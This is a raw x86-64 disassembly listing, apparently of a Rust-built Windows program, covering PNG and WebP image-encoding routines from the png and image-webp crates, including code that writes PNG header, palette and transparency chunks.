mov rcx, qword [rbp + 0x2b60]
add byte [rax], al
movups xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 8], xmm0
mov qword [rcx + 0x28], rax
lea rax, [0x1401f9728]
mov qword [rcx + 0x30], rax
movabs rax, 0x8000000000000005
jmp 0x14004aa0c
mov qword [rbp + 0x2b58], r8
mov qword [rbp + 0x2b78], rcx
mov dword [rbp + 0x2990], r13d
mov dword [rbp - 0x30], r12d
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x1080], rax
mov rcx, qword [rbp + 0x2b38]
mov qword [rbp + 0x2230], rcx
cmp rax, rcx
jne 0x1400501e8
lea rax, [rbp + 0x1d10]
and qword [rax], 0
mov qword [rax + 8], 1
and qword [rax + 0x10], 0
mov dword [rbp + 0x12c], r13d
mov dword [rbp + 0x130], r12d
xor edi, edi
mov byte [rbp + 0x134], dil
mov qword [rbp + 0x58], rsi
mov cl, 2
mov byte [rbp + 0x10c], cl
mov qword [rbp + 0x70], rsi
and dword [rbp + 0xa0], 0
and dword [rbp + 0xb0], 0
mov byte [rbp + 0x129], cl
and dword [rbp + 0xd4], 0
and dword [rbp + 0xa8], 0
and dword [rbp + 0xe0], 0
mov byte [rbp + 0x136], 4
mov qword [rbp + 0x88], rsi
and qword [rbp + 0x10], 0
mov qword [rbp + 0x18], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r14
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r14
and qword [rbp + 0x50], 0
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x148], 0x1000001
mov word [rbp + 0x137], 0x806
mov cl, 1
mov byte [rbp + 0x135], cl
mov byte [rbp + 0x14b], cl
mov byte [rbp + 0x148], dil
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x223c], xmm0
movups xmm0, xmmword [rbp + 0x11c]
movups xmmword [rbp + 0x2248], xmm0
mov rcx, qword [rbp + 0xd4]
mov qword [rbp + 0x2230], rcx
mov ecx, dword [rbp + 0xdc]
mov dword [rbp + 0x2238], ecx
mov ecx, dword [rbp + 0x148]
mov qword [rbp + 0x1e30], rax
mov rax, qword [rbp + 0x2230]
mov qword [rbp + 0x1e40], rax
mov eax, dword [rbp + 0x2238]
mov dword [rbp + 0x1e48], eax
mov eax, dword [rbp + 0x223c]
mov dword [rbp + 0x1e4c], eax
movups xmm0, xmmword [rbp + 0x2240]
movups xmmword [rbp + 0x1e50], xmm0
mov rax, qword [rbp + 0x2250]
mov qword [rbp + 0x1e60], rax
mov dword [rbp + 0x1e68], r13d
mov dword [rbp + 0x1e6c], r12d
mov dword [rbp + 0x1e70], 0x8060100
mov dword [rbp + 0x1e74], ecx
and qword [rbp + 0x1e38], 0
and dword [rbp + 0x1e78], 0
mov byte [rbp + 0x1e7c], dil
test r13d, r13d
je 0x140049a17
test r12d, r12d
je 0x140049a14
push 3
pop rax
mov qword [rbp + 0x10], rax
mov rdx, qword [rbp + 0x2b78]
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x1060], r14
and dword [rbp + 0x1068], 0
mov byte [rbp + 0x106c], 0
push 2
pop rax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rax
and word [rbp + 0x40], 0
lea rax, [0x1401fb8c8]
mov qword [rbp + 0x48], rax
and word [rbp + 0x448], 0
lea rax, [0x1401fc0c8]
mov qword [rbp + 0x450], rax
and word [rbp + 0x850], 0
lea rax, [0x1401fbcc8]
mov qword [rbp + 0x858], rax
and word [rbp + 0xc58], 0
lea rax, [0x1401fc4c8]
mov qword [rbp + 0xc60], rax
and word [rbp + 0x1074], 0
mov dword [rbp + 0x1070], 0x10001
mov dword [rbp + 0x1b10], r13d
mov dword [rbp + 0x10c0], r12d
mov ecx, r13d
mov edx, r12d
call case.0x1400473d4.35
mov qword [rbp + 0x18e0], rax
mov qword [rbp + 0x2750], rbx
cmp rax, rbx
jne 0x1400502ae
movabs rax, 0x8000000000000000
mov rcx, qword [rbp + 0x2b60]
mov qword [rcx], rax
mov byte [rcx + 8], 1
movabs rax, 0x8000000000000004
mov qword [rcx + 0x20], rax
mov byte [rcx + 0x28], 0x10
lea rcx, [rbp + 0x10]
call fcn.14005758f
jmp 0x14004e96e
mov r8, qword [rbp + 0x2b38]
mov rax, r8
xor edx, edx
div rbx
mov rcx, rax
imul rcx, rbx
cmp rcx, r8
jne 0x14004988f
shl r10, 0x20
or r10, rdi
jmp 0x140049f79
xor r13d, r13d
jmp 0x140049ba1
lea rcx, [rbp + 0x2ab0]
xor edx, edx
mov r8b, 1
call fcn.140041382
lea rcx, [rbp + 0x2ab0]
xor edx, edx
mov r8b, 1
call fcn.140041382
lea rcx, [rbp + 0x2ab0]
xor edx, edx
mov r8b, 1
call fcn.140041382
lea rcx, [rbp + 0x2990]
mov rdx, qword [rbp + 0x2b20]
mov r8, qword [rbp + 0x2b38]
call fcn.14003f3ec
mov rax, qword [rbp + 0x2998]
mov rcx, qword [rbp + 0x29a0]
and rcx, 0xfffffffffffffffc
xor edx, edx
cmp rcx, rdx
je 0x140048f4c
mov r8b, byte [rax + rdx + 1]
sub byte [rax + rdx], r8b
sub byte [rax + rdx + 2], r8b
add rdx, 4
jmp 0x140048f33
lea r12, [rbx*4]
shl rbx, 3
mov rdi, rbx
lea r14, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
lea r13, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
lea r15, [rbp + 0x10]
mov rbx, qword [rbp + 0x2ae0]
cmp rbx, 1
jbe 0x140048ff5
movups xmm0, xmmword [rbp + 0x18]
movups xmm1, xmmword [rbp + 0x28]
movups xmm2, xmmword [rbp + 0x38]
movaps xmmword [rbp + 0x2240], xmm1
movaps xmmword [rbp + 0x2230], xmm0
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x2b60]
mov qword [rdx + 0x38], rcx
movups xmmword [rdx + 0x28], xmm2
movaps xmm0, xmmword [rbp + 0x2230]
movaps xmm1, xmmword [rbp + 0x2240]
jmp 0x14004aa3f
xor ebx, ebx
jmp 0x140049c11
xor r15d, r15d
xor r14d, r14d
xor r13d, r13d
xor esi, esi
xor eax, eax
mov qword [rbp + 0x2b78], rax
lea rdx, [rbp + 0x1e30]
mov byte [rdx], 0
push 1
pop r8
mov r12, rdi
mov rcx, rdi
call fcn.14003f462
test rax, rax
jne 0x140049867
lea rdx, [rbp + 0x1e30]
mov byte [rdx], 0
push 1
pop r8
mov rcx, r12
call fcn.14003f462
test rax, rax
jne 0x140049867
lea rdx, [rbp + 0x1e30]
mov byte [rdx], r14b
push 1
pop r8
mov rcx, r12
call fcn.14003f462
test rax, rax
jne 0x140049867
mov rcx, qword [rbp + 0x2b60]
mov qword [rcx + 8], rax
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movups xmm2, xmmword [rbp + 0x30]
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm1
movups xmmword [rcx + 0x30], xmm2
jmp 0x140049bdf
movabs rdx, 0x8000000000000000
or rax, rcx
movabs rcx, 0x300000000
or rsi, rcx
lea rcx, [rbp + 0x14e8]
mov qword [rcx], r9
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rax
mov qword [rbp + 0x2b78], rcx
mov qword [rcx - 8], 1
mov byte [rbp + 0x18], 0xe
mov qword [rbp + 0x10], rdx
push 0x18
pop rcx
mov rsi, rdx
push 8
pop rdx
call fcn.14003f27f
mov rdx, qword [rbp + 0x2b78]
mov rcx, qword [rdx + 0x10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp + 0x18]
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x2b60]
mov qword [rdx + 0x20], rcx
mov qword [rdx + 0x28], rax
lea rax, case.0x14002efaa.206
mov qword [rdx + 0x30], rax
mov qword [rdx + 8], rsi
movups xmmword [rdx + 0x10], xmm0
movabs rax, 0x8000000000000005
jmp 0x14004aa47
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x2b60]
mov qword [rdx + 0x38], rcx
movups xmm0, xmmword [rbp + 0x1a]
movups xmm1, xmmword [rbp + 0x2a]
movups xmm2, xmmword [rbp + 0x3a]
movups xmmword [rdx + 0x2a], xmm2
movups xmmword [rdx + 0x1a], xmm1
movups xmmword [rdx + 0xa], xmm0
mov qword [rdx], rax
mov word [rdx + 8], r13w
jmp 0x14004e96e
jmp 0x14004c33b
movabs rax, 0x8000000000000009
jmp 0x14004aa0c
lea rdx, [0x1401f9be8]
push 8
pop r8
mov rcx, rdi
call fcn.14003f462
mov rbx, rax
test rax, rax
je 0x14004aab5
push 2
pop r15
lea rcx, [rbp + 0x1e30]
call fcn.140044b36
push 2
pop rdi
lea rcx, [rbp + 0x10]
call fcn.140043c5d
cmp edi, 2
jne 0x140049c62
lea rcx, [rbp + 0x1e30]
mov qword [rcx], r15
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rsi
call fcn.14006178f
movabs rcx, 0x8000000000000009
mov rdx, qword [rbp + 0x2b60]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
jmp 0x14004e96e
mov dword [rbp + 0x14f0], edi
mov dword [rbp + 0x14f4], r13d
mov qword [rbp + 0x14f8], r15
mov qword [rbp + 0x1500], rbx
mov qword [rbp + 0x1508], rsi
movaps xmm0, xmmword [rbp + 0x10c0]
movaps xmm1, xmmword [rbp + 0x10d0]
movups xmmword [rbp + 0x1520], xmm1
movups xmmword [rbp + 0x1510], xmm0
mov qword [rbp + 0x14e0], r12
mov qword [rbp + 0x14e8], r14
cmp byte [rbp + 0x1522], 3
push 3
pop r12
jne 0x140049cd5
cmp byte [rbp + 0x1520], 0
jne 0x140049cd5
xor esi, esi
mov rdi, r12
mov r15, qword [rbp + 0x2b38]
jmp 0x14004e6d3
cmp byte [rbp + 0x1526], 0
mov r15, qword [rbp + 0x2b38]
je 0x140049cfa
test edi, edi
je 0x14004af01
cmp byte [rbp + 0x1515], 2
je 0x14004af0a
lea rsi, [rbp + 0x14f0]
cmp byte [rsi + 0x25], 2
lea rax, [rbp + 0x151c]
lea rcx, [rbp + 0x1504]
cmove rcx, rax
lea rax, [rbp + 0x1518]
lea rdx, [rbp + 0x1500]
cmove rdx, rax
mov edx, dword [rdx]
mov r14d, dword [rcx]
mov rcx, rsi
call fcn.140061b2f
mov rbx, rax
lea r12, [rax - 1]
mov rdi, r12
imul rdi, r14
cmp rdi, r15
jne 0x14004aaa3
lea rcx, [rbp + 0x1b10]
mov rdx, r12
call fcn.1401c5a79
mov qword [rbp + 0x2b28], r14
mov r13, qword [rbp + 0x1b18]
mov r14, qword [rbp + 0x1b20]
mov rcx, rsi
call fcn.1400619d1
mov byte [rbp + 0x2b58], al
mov al, byte [rbp + 0x1527]
mov byte [rbp + 0x2b70], al
mov al, byte [rbp + 0x1524]
mov byte [rbp + 0x2b48], al
cmp byte [rbp + 0x1521], 1
jne 0x14004b393
lea rdx, [rbp + 0x2750]
and qword [rdx], 0
mov qword [rdx + 8], 1
xorps xmm0, xmm0
movups xmmword [rdx + 0x10], xmm0
lea rcx, [rbp + 0x1e30]
call fcn.140043dd9
mov rax, qword [rbp + 0x1e30]
mov rdi, qword [rbp + 0x1e38]
movabs rdx, 0x8000000000000000
cmp rax, rdx
je 0x14004e6b2
movups xmm0, xmmword [rbp + 0x1e40]
movups xmm1, xmmword [rbp + 0x1e50]
movups xmm2, xmmword [rbp + 0x1e60]
movups xmmword [rbp + 0x2260], xmm2
movups xmmword [rbp + 0x2250], xmm1
movups xmmword [rbp + 0x2240], xmm0
mov qword [rbp + 0x2230], rax
mov qword [rbp + 0x2238], rdi
mov byte [rbp + 0x2b1f], 1
lea rcx, [rbp + 0x10c0]
mov qword [rbp + 0x2b10], rbx
mov rdx, rbx
call fcn.1401c5a79
mov byte [rbp + 0x2b6d], 1
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x1e30]
mov rdx, qword [rbp + 0x2b20]
mov r8, r15
mov qword [rbp + 0x2b08], r12
mov r9, r12
call fcn.140044029
mov rdx, qword [rbp + 0x1e30]
mov rcx, qword [rbp + 0x1e38]
mov rax, qword [rbp + 0x1e40]
mov qword [rbp + 0x2b78], rax
test rcx, rcx
je 0x14004cae3
mov rsi, rdx
mov r15, qword [rbp + 0x2b78]
cmp rcx, r15
mov rdi, rcx
cmovb r15, rcx
mov rcx, qword [rbp + 0x10c8]
mov rdx, qword [rbp + 0x10d0]
mov byte [rbp + 0x2b6d], 1
push 1
pop r8
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
call fcn.1400412ab
mov byte [rbp + 0x2b6d], 1
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r14
mov cl, byte [rbp + 0x2b70]
mov dl, byte [rbp + 0x2b48]
mov r8b, byte [rbp + 0x2b58]
mov r9, r13
call fcn.140061c0b
mov r13b, al
mov rbx, qword [rbp + 0x10c8]
mov r12, qword [rbp + 0x10d0]
mov byte [rbp + 0x2b6d], 1
mov rcx, rbx
mov rdx, r12
xor r8d, r8d
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
call fcn.140059b12
mov byte [rax], r13b
mov byte [rbp + 0x2b6d], 1
lea rcx, [rbp + 0x2230]
mov rdx, rbx
mov r8, r12
call fcn.14004450a
lea rdx, [rsi + r15]
mov rcx, rdi
sub rcx, r15
mov r14, r15
mov r13, rsi
test rax, rax
je 0x140049e8f
mov r12, rdi
mov rdi, rax
jmp 0x14004e68b
movabs rax, 0x8000000000000006
mov rcx, qword [rbp + 0x2b60]
mov qword [rcx], rax
movabs rax, 0x8000000000000000
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], r10
and qword [rcx + 0x20], 0
mov dword [rcx + 0x28], r13d
mov dword [rcx + 0x2c], r12d
push 1
pop rdx
xor ecx, ecx
call fcn.14006095a
jmp 0x14004e96e
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x2b60]
mov qword [rdx + 0x38], rcx
movups xmm0, xmmword [rbp + 0x1a]
movups xmm1, xmmword [rbp + 0x2a]
movups xmm2, xmmword [rbp + 0x3a]
movups xmmword [rdx + 0x2a], xmm2
movups xmmword [rdx + 0x1a], xmm1
movups xmmword [rdx + 0xa], xmm0
mov qword [rdx], rax
mov word [rdx + 8], r15w
jmp 0x14004e96e
test r8, r8
je 0x14004a1bb
movabs rax, 0x8000000000000000
mov qword [rbp + 0x2230], rax
and qword [rbp + 0x10], 0
lea rdi, [rbp + 0x10c0]
mov rsi, rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
lea rdx, [rbp + 0x18e0]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov qword [rbp + 0x2ae8], rsi
lea rdi, [rbp + 0x10]
mov rcx, rdi
call fcn.140130d7e
mov rax, qword [rbp + 0x10]
mov r9, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x28]
cmp r9, rdx
jb 0x14004a231
cmp r8, 2
jb 0x14004a345
dec r8
lea r9, [rdx + rcx*4]
lea rdx, [r9 + rax*4]
test r9, r9
je 0x14004a345
cmp dword [r9], 0xfeffffff
lea r9, [r9 + 4]
ja 0x14004a217
mov r14d, dword [rbp + 0x18f8]
mov ebx, dword [rbp + 0x18fc]
xor eax, eax
cmp byte [rbp + 0x1b23], 0
push 6
pop r12
cmovne r12d, eax
mov cl, byte [rbp + 0x1b20]
mov dl, byte [rbp + 0x1b21]
mov r8b, 1
mov r9b, 0xa
call fcn.140130e15
test al, al
je 0x14004ad65
mov qword [rbp + 0x2ae8], rsi
lea r15, [rbp + 0x1e30]
lea rdx, [rbp + 0x18e0]
mov rcx, r15
call fcn.140130d7e
mov rax, qword [rbp + 0x1e50]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x1e30]
movups xmm1, xmmword [rbp + 0x1e40]
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rax, [rbp + 0x1b10]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x2ae8], rsi
lea rcx, [rbp + 0x14e0]
lea rdx, [rbp + 0x18e0]
call fcn.140130d7e
mov rax, qword [rbp + 0x1500]
mov qword [rbp + 0x1e50], rax
movups xmm0, xmmword [rbp + 0x14e0]
movups xmm1, xmmword [rbp + 0x14f0]
movaps xmmword [rbp + 0x1e40], xmm1
movaps xmmword [rbp + 0x1e30], xmm0
mov qword [rbp + 0x2ae8], rsi
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x2750]
lea rdx, [rbp + 0x1b10]
mov r8, r14
mov r9, rbx
call fcn.140131421
jmp 0x14004ae21
lea rdx, [rbp + 0x18e0]
mov ebx, dword [rdx + 0x18]
mov edi, dword [rdx + 0x1c]
mov qword [rbp + 0x2ae8], rsi
lea r14, [rbp + 0x10]
mov rcx, r14
call fcn.140130d7e
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x1e50], rax
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x1e40], xmm1
movaps xmmword [rbp + 0x1e30], xmm0
xor eax, eax
cmp byte [rbp + 0x1b23], 0
push 6
pop r15
cmovne r15d, eax
mov cl, byte [rbp + 0x1b20]
mov dl, byte [rbp + 0x1b21]
mov r8b, 1
mov r9b, 8
call fcn.140130e15
test al, al
je 0x14004aa4f
mov rax, qword [rbp + 0x1e50]
mov qword [rbp + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1e30]
movaps xmm1, xmmword [rbp + 0x1e40]
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x1b10]
mov qword [rbp + 0x38], rdx
mov qword [rbp + 0x2ae8], rsi
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 0x2750]
mov r8, rbx
mov r9, rdi
call fcn.140132010
jmp 0x14004ae21
add rsi, rdi
mov qword [rbp + 0x10d0], rsi
add rdi, 0xfffffffffffffffc
lea rax, [rbp + 0x10c0]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdi
and qword [rbp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x38], 0
mov eax, dword [rbp + 0x2c10]
test eax, eax
je 0x14004a926
test r15d, r15d
je 0x14004a926
mov rbx, qword [rbp + 0x2b78]
shl rbx, 0x20
or rbx, 6
jmp 0x14004a981
lea rsi, [rbp + 0x14e0]
lea rdx, [rbp + 0x18e0]
mov rcx, rsi
call fcn.140056a3f
mov rax, qword [rsi]
movabs rcx, 0x800000000000000a
cmp rax, rcx
jne 0x14004aa14
mov qword [rcx], rax
jmp 0x14004e96e
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 8], xmm0
mov qword [rdx], rax
jmp 0x14004e96e
mov rax, qword [rbp + 0x1e50]
mov qword [rbp + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1e30]
movaps xmm1, xmmword [rbp + 0x1e40]
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x1b10]
mov qword [rbp + 0x38], rdx
mov qword [rbp + 0x2ae8], rsi
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 0x2750]
mov r8, rbx
mov r9, rdi
call fcn.140131a55
jmp 0x14004ae21
mov rsi, rdi
and rsi, 0xffffffffffffff00
xor r12d, r12d
jmp 0x14004e6d3
lea rax, [rbp + 0x1e30]
lea rcx, [rbp + 0x1d10]
and qword [rcx + 5], 0
mov qword [rbp + 0x13e0], rax
and qword [rcx], 0
call fcn.140043b71
mov ecx, dword [rbp + 0x12c]
bswap ecx
lea r8, [rbp + 0x2230]
mov dword [r8], ecx
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x1d10]
push 4
pop rdx
push 8
pop r8
call fcn.14004366d
mov ecx, dword [rbp + 0x130]
bswap ecx
lea r8, [rbp + 0x2230]
mov dword [r8], ecx
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
movzx eax, word [rbp + 0x137]
rol ax, 8
lea r9, [rbp + 0x1d10]
mov word [r9 + 8], ax
mov al, byte [rbp + 0x134]
mov byte [r9 + 0xc], al
mov qword [rsp + 0x20], 0xd
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x52444849
call fcn.14004374a
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
mov bl, byte [rbp + 0x10c]
cmp bl, 2
je 0x14004ac7b
mov r14d, dword [rbp + 0x104]
mov edi, dword [rbp + 0x108]
lea rcx, [rbp + 0x2750]
mov byte [rcx + 8], 0
and qword [rcx], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
push 4
pop r8
xor edx, edx
call fcn.140043b8b
bswap r14d
lea r8, [rbp + 0x2230]
mov dword [r8], r14d
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
lea rcx, [rbp + 0x2750]
push 4
pop rdx
push 8
pop r8
call fcn.140043b8b
bswap edi
lea r8, [rbp + 0x2230]
mov dword [r8], edi
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srccommon.rs
mov qword [rsp + 0x20], rcx
push 4
pop r9
mov rcx, rax
call fcn.1401c59a4
test bl, bl
lea r9, [rbp + 0x2750]
setne byte [r9 + 8]
mov qword [rsp + 0x20], 9
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x73594870
call fcn.14004374a
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
cmp qword [rbp + 0x70], rsi
je 0x14004acbb
mov r9, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x45544c50
call fcn.14004374a
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
cmp qword [rbp + 0x58], rsi
je 0x14004acf8
mov r9, qword [rbp + 0x60]
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x13e0]
mov r8d, 0x534e5274
call fcn.14004374a
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
mov al, byte [rbp + 0x136]
cmp al, 4
jne 0x14004cbcb
cmp dword [rbp + 0xa8], 0
je 0x14004ad39
mov edx, dword [rbp + 0xac]
lea rcx, [rbp + 0x2230]
lea r8, [rbp + 0x13e0]
call fcn.14004371f
mov r15, qword [rbp + 0x2230]
cmp r15, 6
jne 0x14004ce13
cmp dword [rbp + 0xe0], 0
je 0x14004cc78
lea rdx, [rbp + 0xe4]
lea rcx, [rbp + 0x2230]
lea r8, [rbp + 0x13e0]
call fcn.140043af1
jmp 0x14004cc67
mov qword [rbp + 0x2ae8], rsi
lea r15, [rbp + 0x1e30]
lea rdx, [rbp + 0x18e0]
mov rcx, r15
call fcn.140130d7e
mov rax, qword [rbp + 0x1e50]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x1e30]
movups xmm1, xmmword [rbp + 0x1e40]
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rax, [rbp + 0x1b10]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x2ae8], rsi
lea rcx, [rbp + 0x14e0]
lea rdx, [rbp + 0x18e0]
call fcn.140130d7e
mov rax, qword [rbp + 0x1500]
mov qword [rbp + 0x1e50], rax
movups xmm0, xmmword [rbp + 0x14e0]
movups xmm1, xmmword [rbp + 0x14f0]
movaps xmmword [rbp + 0x1e40], xmm1
movaps xmmword [rbp + 0x1e30], xmm0
mov qword [rbp + 0x2ae8], rsi
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x2750]
lea rdx, [rbp + 0x1b10]
mov r8, r14
mov r9, rbx
call fcn.140130e37
mov rdx, qword [rbp + 0x2238]
mov rcx, rsi
call fcn.140130e01
mov rcx, qword [rbp + 0x2750]
movabs rax, 0x8000000000000000
cmp rcx, rax
jne 0x14004aeba
mov byte [rbp + 0x1e38], 0xd
mov qword [rbp + 0x1e30], rax
push 0x18
pop rcx
push 8
pop rdx
call fcn.14003f27f
lea rcx, [rbp + 0x2758]
mov rdx, qword [rcx + 0x10]
mov qword [rax + 0x10], rdx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp + 0x1e30]
movups xmm1, xmmword [rbp + 0x1e40]
movups xmmword [rbp + 0x28], xmm1
movups xmmword [rbp + 0x18], xmm0
mov rdx, qword [rbp + 0x2b60]
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 8], xmm0
lea rcx, fcn.140009390
mov qword [rdx + 0x30], rcx
mov qword [rdx + 0x28], rax
movabs rax, 0x8000000000000005
mov qword [rdx], rax
jmp 0x140049fb0
mov qword [rbp + 0x2b78], rcx
mov rdx, qword [rbp + 0x2758]
mov r8, qword [rbp + 0x2760]
mov rcx, qword [rbp + 0x1b28]
mov qword [rbp + 0x2b58], rdx
call fcn.14003f462
test rax, rax
je 0x14004af14
mov rcx, qword [rbp + 0x2b60]
movabs rdx, 0x8000000000000009
mov qword [rcx], rdx
mov qword [rcx + 8], rax
jmp 0x14004af28
test r14, r14
je 0x140049cfa
push 7
pop rdi
xor esi, esi
jmp 0x14004e6d3
mov rax, qword [rbp + 0x2b60]
movabs rcx, 0x800000000000000a
mov qword [rax], rcx
mov rcx, qword [rbp + 0x2b78]
mov rdx, qword [rbp + 0x2b58]
call fcn.14006095a
jmp 0x140049fb0
movups xmm0, xmmword [rbp + 0x14e0]
movups xmm1, xmmword [rbp + 0x14f0]
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm1
jmp 0x140047e5c
lea rcx, [rbp + 0x18e0]
mov rdx, r12
call fcn.1401c5a79
lea rbx, [rbp + 0x1e30]
and qword [rbx], 0
mov qword [rbx + 8], 1
and qword [rbx + 0x10], 0
mov cl, byte [rbp + 0x1521]
call fcn.140061bfc
lea rcx, [rbp + 0x2230]
mov rdx, rbx
mov r8d, eax
call fcn.14006132f
mov byte [rbp + 0x2b47], 1
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fpng_0.17.13_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x1e30]
mov rdx, qword [rbp + 0x2b20]
mov r8, r15
mov r9, r12
call fcn.140044029
lea rax, [rbp + 0x1e30]
mov rcx, qword [rax]
mov rsi, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x2b28], rax
mov rax, qword [rbp + 0x18e8]
mov qword [rbp + 0x2b78], rax
mov r15, qword [rbp + 0x18f0]
test rsi, rsi
je 0x14004c9fb
mov r12, rcx
mov rbx, qword [rbp + 0x2b28]
cmp rsi, rbx
cmovb rbx, rsi
mov byte [rbp + 0x2b47], 1
mov qword [rsp + 0x40], r15
mov rax, qword [rbp + 0x2b78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r14
mov cl, byte [rbp + 0x2b70]
mov dl, byte [rbp + 0x2b48]
mov r8b, byte [rbp + 0x2b58]
mov r9, r13
call fcn.140061c0b
mov byte [rbp + 0x1e30], al
mov byte [rbp + 0x2b47], 1
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x1e30]
push 1
pop r8
call fcn.140060b66
mov rdi, rax
test rax, rax
jne 0x14004b4ef
mov byte [rbp + 0x2b47], 1
lea rcx, [rbp + 0x2230]
mov rdx, qword [rbp + 0x2b78]
mov r8, r15
call fcn.140060b66
